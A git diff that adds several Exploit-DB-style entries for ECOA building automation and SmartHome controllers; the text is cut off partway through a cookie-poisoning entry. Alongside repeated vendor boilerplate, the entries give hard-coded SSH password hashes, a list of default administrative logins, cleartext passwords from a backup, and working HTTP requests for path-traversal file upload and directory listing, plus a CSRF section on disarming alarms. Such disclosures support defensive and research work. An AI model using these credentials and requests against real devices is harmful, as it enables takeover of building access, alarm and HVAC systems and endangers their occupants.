diff --git a/exploits/hardware/local/50283.txt b/exploits/hardware/local/50283.txt new file mode 100644 index 000000000..c95e19b73 --- /dev/null +++ b/exploits/hardware/local/50283.txt @@ -0,0 +1,109 @@ +# Exploit Title: ECOA Building Automation System - Missing Encryption Of Sensitive Information +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Missing Encryption Of Sensitive Information + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller stores sensitive data (backup exports) in clear-text. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5676 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5676.php + + +25.06.2021 + +-- + + +Missing Encryption of Sensitive Information +------------------------------------------- + +- Data stored on the system is not protected/encrypted. + +sql_[DATE]linux.dat reveals clear-text password from backup. + +Excerpt from DB: + +Insert into userlist (userid,userpwd,userClass,userfrm,duetime,modidate,userMenu,usertel,usermobil,usermail,gpname,userCname,usergrp) values (?,?,?,?,?,?,?,?,?,?,?,?,?)%%2%%1user%%3user%%312%%3%%30%%320100630133229%%3null%%3%%3%%3%%3%%3%%3%%3%%1guest%%3guest%%31%%3%%30%%320100630133229%%3null%%3%%3%%3%%3%%3%%3%%3%%1humex%%3humex4377 \ No newline at end of file diff --git a/exploits/hardware/remote/50282.txt b/exploits/hardware/remote/50282.txt new file mode 100644 index 000000000..05569b7d2 --- /dev/null +++ b/exploits/hardware/remote/50282.txt @@ -0,0 +1,114 @@ +# Exploit Title: ECOA Building Automation System - Hard-coded Credentials SSH Access +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Hard-coded Credentials SSH Access + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller is vulnerable to hard-coded credentials within its Linux distribution image. +These sets of credentials are never exposed to the end-user and cannot be changed through any +normal operation of the device. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5675 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5675.php + + +25.06.2021 + +-- + + +Hard-coded Credentials / Remote SSH Access +------------------------------------------ + +- Exercise for the nation-state actors and actresses. + + +root:$1$ILT0V4Sf$AR4nYzAFri3Cqi2BwFD/h.:16183:0:99999:7::: +user:$1$pJefShJL$CoX8T20vn1g.ug0jZIczM.:11851:0:99999:7::: +webs:$1$ZP8rifJj$8Nq6pvZfZleSOM1NxQAck0::::::: +admin:$1$7BGOwUYp$dgzOcdE9eXPmxZ0PomIOR0::::::: +ecoa:$1$Ux/uar1o$RlMzoY0I7KEMkmNzDqzFz1:-5835:0:99999:7::: +humex:$1$1v5rveDi$bXRhL1q20wpYM5vo3aZ050:-5877:0:99999:7::: +guest:$1$Zb9DELKT$IK8/EnLI8o0G36kjjBjWj1:6845:0:99999:7::: \ No newline at end of file diff --git a/exploits/hardware/webapps/50275.txt b/exploits/hardware/webapps/50275.txt new file mode 100644 index 000000000..97979a7d3 --- /dev/null +++ b/exploits/hardware/webapps/50275.txt @@ -0,0 +1,117 @@ +# Exploit Title: ECOA Building Automation System - Weak Default Credentials +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + + +ECOA Building Automation System Weak Default Credentials + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller uses weak set of default administrative credentials that can be easily guessed +in remote password attacks and gain full control of the system. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5668 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5668.php + + +25.06.2021 + +-- + + +Default / Weak Credentials +-------------------------- + +- Attacker can use default credentials and authenticate to the SmartHome, Building Automation and Access Control System. + + +Credentials: + +guest:guest +user:user +admin:admin +root:embed +embed:power +administrator:empty +humex:humex4377 +ecoa:ecoa4377 \ No newline at end of file diff --git a/exploits/hardware/webapps/50276.txt b/exploits/hardware/webapps/50276.txt new file mode 100644 index 000000000..5eee09785 --- /dev/null +++ b/exploits/hardware/webapps/50276.txt @@ -0,0 +1,123 @@ +# Exploit Title: ECOA Building Automation System - Path Traversal Arbitrary File Upload +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Path Traversal Arbitrary File Upload + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller suffers from an arbitrary file write and directory traversal vulnerability. +Using the POST parameters 'rbt' and 'filename', attackers can set arbitrary values for location +and content type and gain the possibility to execute arbitrary code on the affected device. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5669 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5669.php + + +25.06.2021 + +-- + + +Directory Traversal / File Path Traversal / Unrestricted File Upload +-------------------------------------------------------------------- + +- Abusing the 'filename' and 'rbt' POST parameter, attacker can navigate outside current directory and write files in arbitrary location. +- There is no validation on file content, file extension and file location. + + +Request: + +POST /ebd-bin/upload HTTP/1.1 +Host: 192.168.1.3:8080 + +------WebKitFormBoundaryvxy2zFDs1Z69pfRB +Content-Disposition: form-data; name="rbt" + +ecsfile +------WebKitFormBoundaryvxy2zFDs1Z69pfRB +Content-Disposition: form-data; name="filename"; filename="../../../anyfile.ext" +Content-Type: application/octet-stream + +ANY_CONTENT_HERE +------WebKitFormBoundaryvxy2zFDs1Z69pfRB-- \ No newline at end of file diff --git a/exploits/hardware/webapps/50277.txt b/exploits/hardware/webapps/50277.txt new file mode 100644 index 000000000..6f96b975c --- /dev/null +++ b/exploits/hardware/webapps/50277.txt @@ -0,0 +1,144 @@ +# Exploit Title: ECOA Building Automation System - Directory Traversal Content Disclosure +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Directory Traversal Content Disclosure + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The BAS controller suffers from a directory traversal content disclosure vulnerability. Using the +GET parameter 'cpath' in File Manager (fmangersub), attackers can disclose directory content on the +affected device. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5670 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5670.php + + +25.06.2021 + +-- + + +Directory Traversal Content Disclosure +-------------------------------------- + +- Abysing the 'cpath' GET parameter, attackers can disclose directory contents by directory traversal attacks. +- cpath=. +- cpath=../../../../../../../etc + + +Request: + +GET /fmangersub?cpath=/ HTTP/1.1 +Host: 192.168.1.3:8080 + +bacevent.elf +redown.elf +system.bin +webnewc.elf +err.txt +hole.elf +modbustcp.elf +ianplc.bin +hitachi.el +bacser.elf +root.pem +pwsd.bin +server.lst +symtbl.tbl +client.pem +gb-unicode.bin +httpser.elf +namelst.bin +AI.tbl +BI.tbl +AV.tbl +BV.tbl +mstplalf +rthost.elf +big5-unicode.bin +version.bin +modbus.elf +rbdev.bin +rbdlc.elf +powercrd.elf \ No newline at end of file diff --git a/exploits/hardware/webapps/50278.txt b/exploits/hardware/webapps/50278.txt new file mode 100644 index 000000000..89d4eec1e --- /dev/null +++ b/exploits/hardware/webapps/50278.txt @@ -0,0 +1,122 @@ +# Exploit Title: ECOA Building Automation System - 'multiple' Cross-Site Request Forgery (CSRF) +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Cross-Site Request Forgery + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an on-board clock, have two +RS-485 local bus. + +#4 The ECS0000160 is a Router Controller for building and industry products based on various +microprocessors. It not only accessing information but also monitoring and controlling across +Internet directly. The ECS0000160 can totally replace and improve a typical system that always +has tedious panel and complex working process. An obviously benefit to our customers is that +ECS0000160 enabling them to interact with their systems anytime, anywhere, not only just allowed +to connect with singular specific operating system. It's like a whole package, which provides +browsers an easy platform to monitor and control the doors, alarms, devices, etc. that all +through web-pages operating, which works base on standard transmission Internet protocol. The +ECS0000160 provides a low industry cost. A truly friendly network interface which is simple +and easy to apply on factory floors. It supports from serial ports with options of RS485. + +#5 HOME SERVER-EHC9246150 - This web basic home-server is with the specifications of hidden +installation, 32bits microcomputer and I/O Peripheral expansion circuit, which include: D/A +conversion circuit, A/D conversion circuit and optical isolation circuit, using default proportional, +integral and differential (P+I+D) and dead-zone control to control accurately. The controller +features contains the sensing system, proportional control systems, computing modules, control +modules, alarm detection system, and so on. It mainly used in building control, plant monitoring, +air monitoring, lighting and power control, the use of premises for buildings, factories, offices, +conference rooms, restaurants, hotels, etc. + +Desc: +The Building Automation System / SmartHome allows users to perform certain actions via HTTP requests +without performing any validity checks to verify the requests. These actions can be exploited to +perform any CRUD operation like user creation, alarm shutdown and account password change with +administrative privileges if a logged-in user visits a malicious web site. + +Tested on: EMBED/1.0 + Apache Tomcat/6.0.44 + Apache Tomcat/6.0.18 + Windows Server + MySQL Version 5.1.60 + MySQL Version 4.0.16 + Version 2.0.1.28 20180628 + + +Vulnerability discovered by Neurogenesia + @zeroscience + + +Advisory ID: ZSL-2021-5671 +Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5671.php + + +25.06.2021 + +-- + + +Cross-Site Request Forgery (CSRF) - Add / Modify Users or Disarm Alarm +---------------------------------------------------------------------- + +- CSRF exist in entire solution for any CRUD operation. + + +PoC: + + +
+ + + \ No newline at end of file diff --git a/exploits/hardware/webapps/50279.txt b/exploits/hardware/webapps/50279.txt new file mode 100644 index 000000000..b9d6fc732 --- /dev/null +++ b/exploits/hardware/webapps/50279.txt @@ -0,0 +1,121 @@ +# Exploit Title: ECOA Building Automation System - Cookie Poisoning Authentication Bypass +# Date: 25.06.2021 +# Exploit Author: Neurogenesia +# Vendor Homepage: http://www.ecoa.com.tw + +ECOA Building Automation System Cookie Poisoning Authentication Bypass + + +Vendor: ECOA Technologies Corp. +Product web page: http://www.ecoa.com.tw +Affected version: ECOA ECS Router Controller - ECS (FLASH) + ECOA RiskBuster Terminator - E6L45 + ECOA RiskBuster System - RB 3.0.0 + ECOA RiskBuster System - TRANE 1.0 + ECOA Graphic Control Software + ECOA SmartHome II - E9246 + ECOA RiskTerminator + +Summary: +#1 The Risk-Terminator Web Graphic control BEMS (Building Energy Management System) are +designed to provide you with the latest in the Human Machine Interface (HMI) technology, +for completely monitoring and controlling management. It may be used singly for small and +medium sized facilities, could be linked together via the high-speed Ethernet to other +servers that suit to World Wide Web (WWW) or Local Area Network (LAN) for large and more +sophisticated applications. The Risk-Terminator practice Web basic conception that with +operation simply and conveniently, totally share risk and make sure of security. Even +remote sites may be controlled and monitored through Ethernet port, which base on standard +transferring protocol like XML, Modbus TCP/IP or BACnet or URL. + +#2 The RiskBuster is a Web enabled network Router Server that uses Ethernet and TCP/IP +networking technologies. It incorporates an embedded web server that can deliver user-specific +web pages to any PC or mobile terminal running internet browser software. A user with an +appropriate security codes can made adjustment or monitor the network control unit form +any internet access point in the world. It also provides network management, integration +and process control functions for any existing or new building controllers and microprocessor +based equipments or system in buildings. The management function provided by the RiskBuster +such as trend log and alarm generation improves building controllers and microprocessor +based equipments or system management and audit trail capabilities. The integration function +provided by the RiskBuster allows seamless integration such as information sharing (read/write) +between building controllers and microprocessor based equipments or system without any need +of major upgrade or equipments replacement and allow cost saving. The process control functions +provided by the RiskBuster allow global control action to be implemented across any building +controllers and microprocessor based equipments or system to allow full building control. The +RiskBuster provide a truly cost effective solution for any building automation or high level +integration application. A truly Ethernet network compliant feature allows the RiskBuster to +be install anywhere in the building. + +#3 ECM0000160 Digital Logic Controller (DLC) are Pre-programmed controller it intended for +Building Automate System; Environment control system; HVAC control system and other types of +equipment. Being fully programmable it ensures complete application versatility, allowing +specific products to be created according to customer requests. This controller is a configurable +unitary controller based on the 32bit series microcomputer, with an 